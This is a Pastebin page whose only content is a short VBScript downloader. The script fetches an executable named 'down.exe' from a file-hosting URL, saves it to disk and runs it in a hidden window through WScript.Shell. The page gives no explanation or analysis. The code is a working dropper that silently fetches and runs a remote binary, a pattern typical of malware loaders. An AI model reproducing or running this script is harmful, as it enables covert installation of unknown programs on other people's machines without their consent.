Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- dim http_obj
- dim stream_obj
- dim shell_obj
- set http_obj = CreateObject("Microsoft.XMLHTTP")
- set stream_obj = CreateObject("ADODB.Stream")
- set shell_obj = CreateObject("WScript.Shell")
- URL = "https://srv-file7.gofile.io/download/Lo9nu2/down.exe" 'Where to download the file from
- FILENAME = "down.exe" 'Name to save the file (on the local system)
- http_obj.open "GET", URL, False
- http_obj.send
- stream_obj.type = 1
- stream_obj.open
- stream_obj.write http_obj.responseBody
- stream_obj.savetofile FILENAME, 2
- Set WshShell = CreateObject("WScript.Shell")
- WshShell.Run chr(34) & "down.exe" & Chr(34), 0
- Set WshShell = Nothing
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement